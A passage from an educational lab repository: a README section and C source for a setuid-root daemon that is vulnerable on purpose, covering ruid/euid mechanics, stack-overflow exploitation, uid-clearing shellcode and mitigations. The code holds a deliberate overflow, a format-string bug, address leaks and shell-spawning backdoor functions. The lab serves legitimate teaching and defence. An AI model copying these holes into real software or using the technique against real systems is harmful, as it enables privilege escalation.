| (saved) | saved set-user-ID | a "slot" a privileged process may return to later |
A normal program has `ruid == euid`. When you execute a binary with the
setuid bit set and owned by root:
```text
ruid = you (e.g. 1000, "hanez")
euid = the owner (e.g. 0, "root")
```
The process therefore has **root's authority** even though the user who
launched it is completely ordinary. Every check the kernel performs — can
this process read `/etc/shadow`? write a file? kill another process? — is
answered using `euid`, i.e. "yes, it's root".
`foosd` is a network daemon. It binds a port, then `fork()`s a child per
connection. A fork *inherits* the euid, so every child that handles a
connection is also root. The overflow in `foosd`'s `vulnerable_handler()` is
therefore an overflow *inside a root process*.
**Diagnose it yourself once the daemon runs:**
```console
$ ./foosd ... # see the log line it prints at startup
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
```
and from the exploit:
```console
$ ./foosc -t leak
foosc: target euid=0 ruid=1000
```
---
## 2. The lab at a glance
| File | Role |
|------|------|
| `foosd.c` | The intentionally vulnerable daemon (owns the bugs). Run as a *setuid-root* binary for the root-shell demo. |
| `foosc.c` | The exploit. Defaults to the 32-byte `setreuid + execve` shellcode technique. |
| `shellcode.S` | The reference shellcode; `make verify` diffs it against the byte array in `foosc.c`. |
| `tests/pty_suid_test.c` | Test harness. Drives `foosc` through a pseudo-terminal and proves *both* "a shell ran" *and* "it was root" (`uid=0(`). |
| `Makefile` | Build, `setuid`/`unsetuid` helpers, test matrix. |
| `README.md` | This file. |
> **Why a pty?** The exploit's last act is to relay your terminal to the
> shell executing on the victim. A pipe or here-doc lands on the wrong end of
> that relay; a real terminal is required.
---
## 3. Quick start
```console
$ make # build everything, as your normal user
$ make setuid # one-time, asks for sudo: chown root + chmod u+s
$ make run # start foosd on 127.0.0.1:2343
$ make test-suid # full matrix; shellcode + ret2win-root must give root
```
Interactive smoke test:
```console
$ ./foosc -t shellcode
...
foosc: target euid=0 ruid=1000
foosc: shell is on the victim (root if foosd is SUID); relaying
# id
uid=0(root) gid=0(root) groups=0(root) <-- you are root, on the victim
# exit
```
When you are done:
```console
$ make stop
$ make unsetuid # hygiene: never leave a root SUID binary lying around
```
---
## 4. *When should I set the SUID bit?* — the answer you asked for
Exactly **once, after building, before running the daemon for the
root-shell demos** — and only on a machine that is yours, disposable, and
off the network:
```console
$ make # compile foosd, foosc, tests
$ make setuid # <-- THE moment. sudo chown root:root foosd && sudo chmod u+s foosd
$ make run # start AFTER setting the bit
```
Two rules that matter more than the exact timing:
1. **Set it only after the binary is final.** If you rebuild (`make` / `make
clean`) after setting the bit you will hit a "Permission denied" writing
the root-owned output file — and if you force the rebuild, the toolchain
recreates the file **without** the `s`, silently undoing the setup. The
canonical sequence whenever you rebuild is therefore
```console
$ make unsetuid && make && make setuid
```
2. **Remove it when you are done.** `make unsetuid`. A live, root-owned,
setuid binary with an exploitable bug sitting in your tree is not a
learning aid, it is a root hole with a compile error between it and
nowhere. On a shared or production machine: **don't do any of this.**
The daemon also refuses by default to bind anything but loopback (see
§7).
If you run the exploit *without* ever setting the bit, nothing breaks — the
payload still lands and you still get a shell. The difference is in one
number, and the exploit says it out loud:
```console
foosc: WARNING: the daemon is NOT running with euid 0.
The payload will still land, but the shell will be
a plain user shell, not root.
Fix: sudo make setuid
```
That "works, but not root" outcome is itself part of the lab. Keep it in
mind for the next section.
---
## 5. The mechanism — and the twist that makes SUID interesting
### 5.1 The overflow (identical to `food`)
`foosd`'s handler gives a `read()` 512 bytes of trust while handing it a
64-byte stack buffer:
```c
char buf[64];
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over the edge */
```
On x86-64 the stack grows down. The exploit writes 64 bytes of junk to fill
`buf`, 8 to fill the saved frame pointer, and 8 more to replace the **saved
return address**. When `vulnerable_handler` executes `ret`, the CPU pops the
attacker's value into `RIP` — attacker-controlled code execution. The
exploit discovers the exact distance (88 bytes for this build) by parsing
`objdump` output rather than hardcoding it, so the number survives rebuilds.
### 5.2 The twist: the shell refuses to be root
Here is where thinking "SUID bug → spawn /bin/sh → root" would go wrong, and
why this lab has the exact shape it has.
When a setuid-root program runs, its `ruid` is still the launching user and
its `euid` is root. If the program — or the attacker — now starts a shell:
* `execve("/bin/sh")` does **not** change the uids; the new process inherits
`(ruid=1000, euid=0)`.
* bash (and dash) **check exactly that condition at startup**. From the bash
manual: *"If the shell is started with the effective user (group) id not
equal to the real user (group) id, and the -p option is not supplied, …
the effective user id is set to the real user id."*
So the shell takes one look at itself and *drops root* — a defence the shell
authors built specifically against this attack (the historical justification
was the setuid-shell / setuid-script problem). The result is the “works, but
not root” cases:
| Technique | What it executes | Resulting uid |
|-----------|------------------|---------------|
| `ret2win` | `foosd`'s `win()` → `execl("/bin/sh")` | **1000** — shell landed, root reset by bash |
| `ret2libc` | `system("/bin/sh")` → fresh `sh -c '/bin/sh'` | **1000** — same reset, one level down |
| `ret2win-root` | `foosd`'s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid cleared from C |
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid cleared from machine code |
The two that reach root differ from the two that don't by exactly one
idea: **they clear the *real* uid, not just the effective one.**
```c
setuid(0) /* changes euid to 0, but ruid stays 1000:
bash still sees euid != ruid and STILL resets. */
setreuid(0, 0) /* changes BOTH: ruid = euid = 0.
bash sees equal uids and keeps root. */
```
That is why the classic `/bin/sh` shellcode you will find everywhere on the
internet starts with a uid-clearing syscall — and it is the reason the
shellcode here is 32 bytes instead of 23: the first five instructions are
```asm
xor edi, edi ; ruid = 0
xor esi, esi ; euid = 0
push 0x71 ; 113 = __NR_setreuid
pop rax
syscall
```
### 5.3 So what is the exploit, end to end?
1. `foosc` reads `foosd`'s banner over the socket. It gets:
- `ids=0/1000` — euid/ruid (the SUID self-diagnosis)
- `stack=…` and `libc=…` — pointers (the ASLR leaks)
- `BUF=…` — the exact address of the buffer it is about to overflow
2. From the target binary (via `objdump`) it learns `rip_off` and the
addresses of `win()` / `win_root()`.
3. From *its own* libc (via `/proc/self/maps` + `dlsym` + a memory scan) it
measures the offsets of `system`, `read`, `/bin/sh` and a
`pop rdi; ret` gadget — nothing is hardcoded.
4. It assembles the payload. For `-t shellcode` that is:
`[32-byte setreuid+execve code][padding to RIP][ret fix][address of buf]`.
5. `foosd`'s `read()` overflows; `ret` lands on the shellcode; the kernel
executes `setreuid(0,0)` (fine: euid 0 is privileged) and then `execve`
of `/bin/sh`. bash starts with `ruid == euid == 0` and stays root.
6. `foosc` relays your terminal to that root shell until you type `exit`.
One sanity detail that costs people a lot of time if missed: the exploit
tests each uid-clearing behaviour **without** needing the setuid bit first.
Run `make test` before `make setuid` and you will watch every technique land
a shell while `ROOT=MISSING`; run `make test-suid` after `make setuid` and
`ROOT=SEEN` appears on the two techniques that clear the real uid. That A/B
is the whole lesson, executable in ten seconds.
---
## 6. The old one-liners — and why most of them are dead
If you have read about SUID, you have read about `PATH` hijacking, `LD_PRELOAD`,
and setuid shells. All three are classic, and all three fail on a modern
system against *this program*. It is worth knowing precisely why, because the
reasons are the defences you get for free:
| Attack class | Old claim | Why it fails on a modern box |
|--------------|-----------|------------------------------|
| `LD_PRELOAD` a malicious library | "The setuid program loads my `.so` and runs my code as root." | The kernel marks a setuid binary as **AT_SECURE**; glibc then ignores `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` and friends. The environment is treated as *untrusted input*. `LD_PRELOAD` against a setuid binary is a no-op. |
| `PATH` hijack (`system("ls")` with a poisoned PATH) | "Point PATH at a directory containing my fake `ls`; the root program runs it." | A second face of the same defence: an AT_SECURE process gets a **sanitized `PATH`** (a safe default, `/usr/local/bin:/usr/bin:/bin`-ish) for `system()`/`execvp`, so the poisoned directory is never consulted. |
| Setuid `system()` command injection | "The injected command runs with euid 0." | `system()` runs the command in a fresh `/bin/sh`, and that shell — §5.2 — resets `euid = ruid` on startup. The injected command executes as the *real* uid. (It is still a bug; it just no longer escalates through `/bin/sh`.) |
| Setuid root shell on disk (`cp /bin/sh /tmp; chmod u+s`) | "Run it, get root." | Exactly the defense above, and it is why modern distros ship no setuid root shell. Even when you succeed in making one, bash refuses to keep euid 0 unless started with `-p`. |
What remains alive, and is this lab: **the program is *already* root when it
runs.** You do not need the environment or `system()`; you need the program
to execute *your* code (via a memory-corruption bug) while privileged, and
your code must be careful enough to fix the uid mismatch itself —
`setreuid(0,0)` — before it hands you a shell. Memory corruption + SUID is
the combination that still ends in `uid=0`, which is exactly why memory-safe
languages, canaries, and no-execute stacks are not a fashion choice.
---
## 7. The safety rails built into the daemon
`foosd` is deliberately the *worst* piece of software in this repository, so
it also carries the most guard rails:
1. **Loopback only, enforced.** `foosd` refuses any bind address other than
loopback unless you pass `-L`. A setuid-root listener on a real
interface is a remote root service; the refusal is the default so the
dangerous state has to be typed in deliberately.
2. **Self-diagnosis.** At startup it logs `ruid`/`euid` and whether it is
running as root, so the console shows the state the exploit depends on.
3. **The log never reaches the client.** The daemon reserves a private log
descriptor before sockets replace fd 1, so crash reporter output and
internal paths cannot be read back over the wire by the attacker.
4. **Crash reporter.** A SIGSEGV handler logs `RIP`/`RSP` — the value the
attacker wrote into the return address — so a successful hijack is
visible in `foosd.log` instead of being a silent death.
5. **`make unsetuid`.** Removing the bit is scripted, because leaving it set
is the failure mode people actually have.
---
## 8. Mitigations — what each one does and does *not* stop
Applied to `foosd` via `make hardened`, one at a time or together:
| Mitigation | What it stops | What it does *not* stop |
|------------|---------------|-------------------------|
| `-fstack-protector-strong` (canary) | The overflow: `ret` detects a smashed canary and aborts before the attacker's address is used. Stops **all four** techniques here — they share the one vulnerable `read()`. | Nothing about the *design*: the binary is still setuid root; a different bug (format string `%n`, heap overflow, use-after-free) has no canary to trip. |
| `-fPIE -pie` (ASLR for the binary) | Using predictable `win()`/`win_root()` addresses (the ret2win techniques). | The shellcode technique, if a stack address still leaks (the `BUF=` line). |
| `-z noexecstack` (NX / W^X) | The shellcode: the CPU refuses to fetch instructions from a data-only page, so jumping to `buf` is a SIGSEGV. | ROP — running code that already exists (`ret2libc`). |
| All three together | A hard-to-overflow, randomised, non-executable-stack binary. This is what a normal hardened build looks like. | The setuid bit. **A hardened SUID binary is still a SUID binary.** If any reachable memory-safety bug survives, it is still "bug inside a root process". |
The console proof is `make test-hardened`, which swaps in the hardened build
and shows all techniques dying at the canary while `foosd_hardened.log`
records `*** stack smashing detected ***`.
Two design-level mitigations that no compiler flag delivers, and that the
parent lab (`food`) uses as well:
- **Least privilege.** A daemon for an unprivileged port (2343 > 1024) has
no legitimate need for root. A correct `foosd` would bind, then
`setgroups`/`setgid`/`setuid` to an unprivileged account and *verify it
stuck* (the correct version is in the source as `drop_privs()`, never
called — the un-called-ness is Bug #3 of the lab).
- **Bound the read.** `n = read(fd, buf, sizeof(buf) - 1)`. One correct
line outranks every compiler flag in the table.
---
## 9. The wire protocol (so you can read the daemon with netcat)
```text
FOOSD 1.0 - deliberately vulnerable SUID service
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
BUF=0x7ffd...
```
* `ids=euid/ruid` — could not be printed as `euid=`/`ruid=` because the test
harness proves a shell by grepping for the literal `uid=` and the banner
must not contain it (a probe sharing a signature with the answer is a
classic false-positive trap; see the comment in `foosd.c`). The harness
additionally requires the strict `id`-output shape — `uid=NNN(...)` — so
nothing the daemon or the exploit prints can satisfy the check by
accident: `foosc`'s own "target euid=… ruid=…" chatter contains `uid=` as
a substring, which once made a hardened-build test report a shell that
had never run.
* `stack=`, `libc=`, `BUF=` — the ASLR leaks: allow the shellcode and
ret2libc to compute exact addresses.
---
## 10. Exercises
1. **Watch the non-root demotion.** Run `make test` *before* `make
setuid`, then again after. Explain the `ROOT=SEEN` change using the
ruid/euid story in §5.2.
2. **Read the crash.** Run `./foosc -t demo -n` and then read `foosd.log`.
The `RIP=0x4141414141414141` line is the attacker's padding — the proof
that the overflow, not bad luck, controls execution.
3. **Add the canary.** `make hardened` and change the `test-hardened` loop
yourself; the log line `*** stack smashing detected ***` is the defence
working.
4. **Disable the leak.** Comment out the `BUF=` line in `foosd.c`,
rebuild, and watch `-t shellcode` go from deterministic to a guessing
game. That single line is why real ASLR bypasses are a whole field.
5. **The `-p` experiment.** In a copy of `win()`, change `execl("/bin/sh",
"sh", NULL)` to `execl("/bin/sh", "sh", "-p", NULL)` and observe root.
`-p` is the documented escape hatch from the shell's guard — and the
reason "just spawn a shell" advice from old write-ups is incomplete.
6. **Why not `setuid(0)`?** Rewrite the shellcode to call `setuid(0)`
instead of `setreuid(0,0)` (syscall 105). The shell still lands — and
still drops to `uid=1000`. This is the single most instructive one-line
experiment in the whole repository.
---
## 11. Safety and cleanup
- Loopback only, by default and by design; `-L` binds further, and only a
disposable VM should even consider it.
- This is a root-shell lab. Do not run it on a machine that matters, and do
not point `foosc -h` at anything you do not own.
- Cleanup ritual: `make stop` then `make unsetuid`, and if you want the tree
pristine again `sudo make clean`.
```console
$ make stop
$ make unsetuid
```

1142
suid/foosc.c Normal file

File diff suppressed because it is too large Load diff

728
suid/foosd.c Normal file
View file

@ -0,0 +1,728 @@
/*
* ============================================================================
* foosd.c -- "foosd": an INTENTIONALLY VULNERABLE SUID-ROOT network daemon
* ============================================================================
*
* PURPOSE
* -------
* This is the SUID companion to `food`. Where `food` demonstrated how a
* buffer overflow becomes remote code execution, `foosd` demonstrates what
* happens when that RCE lands in a process whose *effective* uid is 0
* (root) because the binary has the setuid bit set.
*
* Run it without the setuid bit and you get a normal user shell, exactly as
* with food. Give the binary the setuid bit (`sudo make setuid`) and the
* exact same exploit-shipped shellcode opens a *root* shell -- because the
* process the shellcode runs in already has euid 0, and the shellcode is
* careful to clear the *real* uid as well (see the comment in foosc.c).
*
* This lab exists so you understand, hands-on, why "SUID bit + any reachable
* memory-corruption bug" is one of the most dangerous combinations in Unix,
* and -- the other half of the lesson -- why a carefully written SUID
* program is not necessarily safe either: the setuid bit silently changes
* the meaning of EVERY bug in the program.
*
* WHAT THE SETUID BIT ACTUALLY DOES
* --------------------------------
* Every process carries three user ids:
*
* real uid (ruid) the account that STARTED the process
* effective uid (euid) what the kernel checks when making decisions
* saved uid (suid) the "slot" a privileged process may return to
*
* A normal program has ruid == euid == saver. When you run a setuid binary:
*
* ruid = you (e.g. 1000, hanez)
* euid = the file owner (e.g. 0, root)
*
* The process is *root for all access-control purposes* even though the user
* who launched it is not. Every program under test in this lab is a child of
* that process (the daemon forks per connection), so each child also has
* euid 0. THAT is the whole attack surface the exploit aims at.
*
* THE CRUCIAL SECOND FACT -- WHY THIS LAB NEEDS setreuid SHELLCODE
* ----------------------------------------------------------------
* The classic "I got root, I'll just spawn /bin/sh" does NOT work from a
* setuid process, and the reason is a defence built into the shell itself:
*
* When bash (and dash, and most shells) starts with euid != ruid and is
* NOT given the `-p` (privileged) flag, it sets euid = ruid and walks
* away from the privilege. Bash documented this in its manual page. It
* exists precisely to stop a setuid binary from dropping the attacker
* into a root shell.
*
* So in this lab:
* win() -> execl("/bin/sh") -> shell, but uid 1000
* system("/bin/sh") -> ret2libc -> shell, but uid 1000
* shellcode without
* setreuid(0,0) -> execl -> shell, but uid 1000
* shellcode WITH
* setreuid(0,0) -> ruid becomes 0, bash sees equal uids,
* keeps euid 0 -> ROOT SHELL
*
* The shellcode in foosc.c therefore begins with setreuid(0, 0). That is the
* same reason the classic 24-byte /bin/sh shellcode you will find all over
* the internet starts with a setuid(0) syscall.
*
* SAFETY RAILS (please keep them in place)
* ----------------------------------------
* * Binds to 127.0.0.1 by default and REFUSES a non-loopback bind unless
* you pass -L. A setuid-root process listening on a real interface is a
* remote root hole waiting for a port scan. Do not do it.
* * Prints a startup warning to the log when it detects that it IS running
* with euid 0, because a well-designed daemon has no business being
* root on an unprivileged port (2343 > 1024).
* * Does not bind on 0.0.0.0 even with -L unless you also give -h 0.0.0.0;
* -L merely lifts the loopback *guard*.
*
* Build: make foosd (as your normal user)
* sudo make setuid (once, gives foosd the +s bit and root owner)
*
* THE BUILD FLAGS ARE THE SAME DELIBERATE REMOVALS AS food
* --------------------------------------------------------
* -fno-stack-protector no canary: the overflow is not detected
* -no-pie fixed addresses: win(), win_root() are constants
* -z execstack the stack is executable: shellcode can run
*
* `make hardened` rebuilds this file with all three re-enabled, which stops
* every technique, and `make test-hardened` shows you the log evidence.
* Note carefully in README.md: NOT ONE of those compiler mitigations does
* anything about the "the binary is setuid root" design decision. Memory
* safety and least privilege are two separate problems.
*
* Usage: ./foosd [-h HOST] [-p PORT] [-d] [-L]
* ============================================================================
*/
/* Request the gnu decls we need (dprintf, etc.). */
#define _GNU_SOURCE
#include <arpa/inet.h> /* inet_pton(): parse "127.0.0.1" into bytes. */
#include <errno.h> /* errno, strerror(). */
#include <fcntl.h> /* dup2() -- hand the accepted socket to the shell. */
#include <grp.h> /* setgroups(): part of the (never-called) privilege
* drop -- supplementary groups must go first. */
#include <netinet/in.h>/* struct sockaddr_in, htons(). */
#include <signal.h> /* signal(), sigaction(). */
#include <stdarg.h> /* va_list for our log wrapper. */
#include <stdint.h> /* uint16_t. */
#include <stdio.h> /* dprintf, snprintf. */
#include <stdlib.h> /* atoi, _exit, getenv. */
#include <string.h> /* memset, strncmp, memchr, strlen. */
#include <sys/socket.h>/* socket, bind, listen, accept. */
#include <sys/stat.h> /* umask. */
#include <sys/types.h> /* ssize_t, pid_t. */
#include <sys/ucontext.h>/* ucontext_t: REG_RIP etc. for the crash reporter. */
#include <sys/wait.h> /* waitpid(). */
#include <unistd.h> /* read, write, dup2, fork, getpid, setsid, chdir. */
/* ------------------------------------------------------------------------- */
/* Configuration constants */
/* ------------------------------------------------------------------------- */
/* Port. 2343 is deliberately not the 2342 used by food, so both labs can run
* side by side. It is above 1024 --- which is itself a teaching point: a
* correct daemon does not need root to bind this port, so being setuid is a
* design mistake, not a requirement. */
#define FOOSD_PORT 2343
/* Loopback is the ONLY default. -L is required to go further. */
#define FOOSD_HOST "127.0.0.1"
/* Size of the overflowed buffer. Same shape as food so the exploit's
* objdump-based offset detection (shared logic) works unchanged. */
#define FOOSD_BUFSZ 64
/* How much read() accepts. The mismatch with FOOSD_BUFSZ IS the bug. */
#define FOOSD_READMAX 512
/* Size of the second (format-string demo) buffer. */
#define FOOSD_LOGSZ 128
/* ------------------------------------------------------------------------- */
/* Logging (same design as food: the log never travels to the attacker) */
/* ------------------------------------------------------------------------- */
/* g_logfd -- a private copy of stdout taken BEFORE the socket is dup2()'d
* over fd 1. Every logmsg() line goes here, so a client that overwrites our
* memory or crashes a child never learns internal paths or addresses from
* logs (and never mixes its own bytes with ours). */
static int g_logfd = -1;
/* logmsg() -- timestamped, pid-prefixed line to the log descriptor. One
* write() per line, so forked children cannot interleave mid-line. */
static void logmsg(const char *fmt, ...)
{
char line[1024]; /* Whole-message scratch. */
va_list ap; /* Variadic argument cursor. */
int n; /* Bytes formatted. */
/* va_start MUST precede any use of ap. An uninitialised va_list makes
* vsnprintf walk wild stack memory -- a real bug that was hit in the
* earlier food.c, hence the comment. */
va_start(ap, fmt);
n = vsnprintf(line, sizeof(line) - 32, fmt, ap);
va_end(ap); /* Always pair va_start with va_end. */
if (n < 0)
return;
if (g_logfd >= 0)
dprintf(g_logfd, "[foosd %d] %s\n", (int)getpid(), line);
}
/* read_exact() / write_all() -- the CORRECT I/O helpers, present so you can
* hold them next to the deliberately broken read() in vulnerable_handler()
* and see the difference: these loop until done and check every result. */
__attribute__((unused))
static ssize_t read_exact(int fd, void *buf, size_t n)
{
size_t got = 0;
while (got < n) {
ssize_t r = read(fd, (char *)buf + got, n - got);
if (r < 0) {
if (errno == EINTR)
continue;
return -1;
}
if (r == 0)
break;
got += (size_t)r;
}
return (ssize_t)got;
}
static ssize_t write_all(int fd, const void *buf, size_t n)
{
size_t sent = 0;
while (sent < n) {
ssize_t w = write(fd, (const char *)buf + sent, n - sent);
if (w <= 0) {
if (w < 0 && errno == EINTR)
continue;
return -1;
}
sent += (size_t)w;
}
return (ssize_t)sent;
}
/* ------------------------------------------------------------------------- */
/* The ret2win targets */
/* ------------------------------------------------------------------------- */
/*
* win() -- the "easy" backdoor, and the reason a whole section of README.md
* exists. It is the same function as in food.c with ONE addition's worth of
* subtlety:
*
* execl("/bin/sh", "sh", NULL)
*
* gives the attacker a shell, but NOT a root shell, even though THIS process
* has euid 0, because bash/dash reset euid = ruid at startup when the two
* differ (and here ruid is still the launching user, e.g. 1000). So win()
* is a demonstration of control-flow hijack, and at the same time a real,
* documented example of a defence (the shell's privilege guard) that spoils
* what would otherwise be a one-line root shell.
*
* It is also precisely the trap people fall into with "SUID + system()": the
* injected command runs in a shell that just dropped the effective id, so on
* modern systems the classic setuid+system() trick no longer yields root --
* see README.md's "why the old one-liners fail" section.
*/
__attribute__((noinline, used))
static void win(void)
{
pid_t pid;
logmsg("win() reached -- exec'ing /bin/sh (uid will NOT be root while "
"euid!=ruid: the shell resets it; use win_root or shellcode for "
"a real root shell)");
/* Fork so the daemon's accept loop child can be reaped and return. */
pid = fork();
if (pid < 0) {
logmsg("win(): fork() failed: %s", strerror(errno));
_exit(1);
}
if (pid > 0) {
waitpid(pid, NULL, 0);
/* Must NOT return: that would pop attacker bytes as the next RIP. */
_exit(0);
}
/* Child. prepare_client_fds() already made fds 0/1/2 the socket. */
execl("/bin/sh", "sh", (char *)NULL);
_exit(127); /* Only reached if exec failed. */
}
/*
* win_root() -- the "privileged" backdoor. Byte-for-byte the same function
* as win() EXCEPT it first calls setreuid(0, 0).
*
* Why does that one line matter? Seeing it is the difference between a
* broken exploit and a root shell, so it deserves a close look:
*
* * setuid(0) would set euid = 0 and saved = 0 but LEAVE ruid = 1000.
* bash would then still see euid != ruid and still reset.
* * setreuid(0,0) sets BOTH real and effective to 0, and (being privileged)
* Linux also sets the saved id to 0.
* bash now sees euid == ruid == 0 and keeps root.
*
* That is why classic /bin/sh shellcode begins with a uid-clearing syscall:
* the "real" uid is the one the shell's guard compares against, and it must
* be cleared too. This function exists so `foosc -t ret2win-root` has a
* second, plain-C way to reach root and you can compare the two backdoors
* directly in the debugger.
*/
__attribute__((noinline, used))
static void win_root(void)
{
pid_t pid;
/* Nothing to check: a setuid process may set its uids arbitrarily. If
* foosd is NOT setuid this fails silently and the result is simply a
* non-root shell -- the lab works either way, which is deliberate. */
(void)setreuid(0, 0);
logmsg("win_root() reached -- setreuid(0,0) done, exec'ing /bin/sh");
pid = fork();
if (pid < 0) {
logmsg("win_root(): fork() failed: %s", strerror(errno));
_exit(1);
}
if (pid > 0) {
waitpid(pid, NULL, 0);
_exit(0);
}
execl("/bin/sh", "sh", (char *)NULL);
_exit(127);
}
/* ------------------------------------------------------------------------- */
/* The vulnerable handler -- Bug #1 and Bug #2 live here */
/* ------------------------------------------------------------------------- */
__attribute__((noinline, used))
static void vulnerable_handler(int fd)
{
char buf[FOOSD_BUFSZ]; /* 64 stack bytes. The whole ballgame. */
char line[FOOSD_LOGSZ]; /* Second buffer, for the format-string demo. */
ssize_t n; /* Bytes actually read. */
/*
* The BUF= leak -- the same deliberate CWE-200 disclosure as food. The
* stack is ASLR-randomised; without this the shellcode could not find
* itself. Real-world leaks of this kind come from %p format bugs, crash
* dumps, debug endpoints, or serialised uninitialised pointers.
*
* FIX: never print addresses to untrusted clients.
*/
dprintf(fd, "BUF=%p\n", (void *)buf);
/*
* ====================================================================
* BUG #1 -- UNBOUNDED COPY INTO A FIXED STACK BUFFER (CWE-120)
* ====================================================================
* Identical to food: 512 bytes are accepted into a 64-byte array, so the
* attacker writes 448 bytes past the end, overwriting the saved frame
* pointer and — 8 bytes later — the saved return address. On return,
* `ret` jumps wherever the attacker said:
*
* [ 64 bytes buf ][ 8 bytes saved rbp ][ 8 bytes RETURN ADDRESS ]
*
* The ONLY difference from food is *what that means*: here the hijacked
* process has euid 0, so "attacker controls RIP" becomes "attacker
* controls root's RIP".
*
* FIXES (in increasing order of strength):
* 1. n = read(fd, buf, sizeof(buf) - 1); <-- the real fix
* 2. -fstack-protector-strong (canary aborts `ret`)
* 3. do not take network input into fixed stack buffers at all
* And SEPARATELY: do not run this daemon setuid. Memory safety and
* least privilege are two different bugs; fix both.
*/
n = read(fd, buf, FOOSD_READMAX); /* <-- CWE-120, THE bug. */
if (n <= 0)
return;
/* Echo back a truncated copy so you can watch the overflow in the log.
* Clamping for display does not undo the overwrite that already happened. */
{
ssize_t show = n < FOOSD_BUFSZ ? n : FOOSD_BUFSZ;
logmsg("vulnerable_handler: read %zd bytes, echoing %zd", n, show);
(void)write_all(fd, buf, (size_t)show);
}
/*
* ====================================================================
* BUG #2 -- NETWORK DATA USED AS A FORMAT STRING (CWE-134)
* ====================================================================
* Same as food: attacker '%'-specifiers in `buf` could read stack words
* with %x or write memory with %n. Here -- setuid root -- a %n is a
* write-what-where primitive IN A ROOT PROCESS, so this second bug is
* worse than it was in food. It runs only on a copy in `line`, and only
* triggers if the payload contains '%'.
*
* FIX: printf("%s", buf), never printf(buf).
*/
if (memchr(buf, '%', (size_t)n) != NULL) {
snprintf(line, sizeof(line), "%.*s", (int)FOOSD_LOGSZ - 1, buf);
logmsg("vulnerable_handler: payload contains '%%', echoing it raw");
(void)write_all(fd, line, strlen(line));
}
/* On return the (attacker-controlled) saved return address becomes RIP. */
}
/* ------------------------------------------------------------------------- */
/* Crash reporter (same rationale as food: a crash should tell you it was */
/* malicious; the fault address is the return address the client supplied). */
/* ------------------------------------------------------------------------- */
static void on_sigsegv(int sig, siginfo_t *si, void *ucv)
{
ucontext_t *uc = (ucontext_t *)ucv;
unsigned long rip = 0, rsp = 0;
if (uc != NULL) {
rip = (unsigned long)uc->uc_mcontext.gregs[REG_RIP];
rsp = (unsigned long)uc->uc_mcontext.gregs[REG_RSP];
}
logmsg("SIGSEGV: faulting address %p", si ? si->si_addr : (void *)0);
logmsg("SIGSEGV: RIP=%#lx RSP=%#lx (RIP is the address the client "
"supplied)", rip, rsp);
logmsg("SIGSEGV: if RIP is a real address the attacker jumped there; "
"if it looks like 0x4028xx it may BE the `ret` itself: a ret "
"into a non-canonical address (e.g. 0x4141414141414141) faults "
"at the ret, not at the target.");
/* Re-raise with the default disposition so the process still dies, with
* the correct status, rather than re-executing the faulting instruction
* forever (returning from this handler would do exactly that). */
signal(sig, SIG_DFL);
raise(sig);
}
static void install_crash_reporter(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = on_sigsegv; /* Extended two-argument handler. */
sa.sa_flags = SA_SIGINFO;
sigemptyset(&sa.sa_mask);
if (sigaction(SIGSEGV, &sa, NULL) < 0)
logmsg("sigaction(SIGSEGV) failed: %s", strerror(errno));
if (sigaction(SIGBUS, &sa, NULL) < 0)
logmsg("sigaction(SIGBUS) failed: %s", strerror(errno));
}
/* ------------------------------------------------------------------------- */
/* fd handling */
/* ------------------------------------------------------------------------- */
/* prepare_client_fds() -- put the accepted socket onto fds 0/1/2 so that
* every technique (ret2win, ret2libc, shellcode) produces a shell that
* automatically speaks over the network. */
static void prepare_client_fds(int fd)
{
if (fd != STDIN_FILENO) dup2(fd, STDIN_FILENO);
if (fd != STDOUT_FILENO) dup2(fd, STDOUT_FILENO);
if (fd != STDERR_FILENO) dup2(fd, STDERR_FILENO);
if (fd > STDERR_FILENO) close(fd); /* Don't leak the spare descriptor.*/
}
/* ------------------------------------------------------------------------- */
/* THE INFORMATION LEAK */
/* ------------------------------------------------------------------------- */
/*
* send_leaks() -- tell the attacker:
*
* ids= this process's euid/ruid. THE SUID DIAGNOSTIC.
* The exploit prints a warning when euid is not 0,
* because without the setuid bit there will be no root
* shell and the user would otherwise think the exploit
* is broken.
* leak stack=... an address on the stack, for the shellcode
* leak libc=... the real address of read() inside libc, for ret2libc
*
* The `ids=` spelling (rather than "euid="/"ruid=") is deliberate: the test
* harness proves a live shell by grepping for the string "uid=" in the
* session transcript, and "euid=" / "ruid=" both contain that substring, so
* printing them would make the banner itself pass the check. The ids= form
* cannot be confused with a shell's `id` output. This kind of "the probe and
* the answer must not share a signature" thinking is exactly what you do
* when you write real assertions about untrusted output.
*/
static void send_leaks(int fd)
{
long stack_marker = 0x4141414141414141L; /* Obvious in a debugger. */
ssize_t (*libc_read)(int, void *, size_t);/* Real address of read(). */
libc_read = &read; /* &read resolves through the GOT to libc. */
dprintf(fd, "FOOSD 1.0 ids=%d/%d leak stack=%p libc=%p\n",
(int)geteuid(), (int)getuid(),
(void *)&stack_marker, (void *)libc_read);
}
/* THE CORRECT DESIGN, PRESENT BUT NEVER CALLED
* -------------------------------------------
* drop_privs() -- what a well-written daemon would do the moment it no
* longer needs root. Two mistakes to notice, both of which are immune to
* every compiler mitigation:
*
* * ORDER: you must drop in the order gid-capabilities that matter --
* setgroups() before setgid() before setuid(), and only AFTER binding
* the port and opening any root-only files. Drop first and the whole
* point of root is gone.
* * PERMANENCE: setuid() to a nonzero value and check it stuck (a root
* process may later regain privileges via saved id otherwise).
*
* In this lab it is deliberately absent from the accept loop, because the
* lab NEEDS the children to stay root. Keeping the correct version in the
* source, commented, lets you diff "what should be here" against "what is
* here" -- the two-line difference is the entire exploit surface.
*/
__attribute__((unused))
static void drop_privs(void)
{
/* Order matters: setgroups() first (a non-root user may not), then
* setgid(), then setuid(). Never the reverse. */
(void)setgroups(0, NULL); /* Remove all supplementary groups. */
(void)setgid(1000); /* Lose group privileges. */
if (setuid(1000) < 0) /* Any non-zero uid is fine here. */
_exit(1); /* If we cannot drop, FAIL CLOSED. */
/* Verify. getuid()/geteuid() are cheap; a SUID program whose drop failed
* silently is a root hole wearing a costume. */
if (getuid() != 1000 || geteuid() != 1000)
_exit(1);
}
/* ------------------------------------------------------------------------- */
/* Per-connection handling */
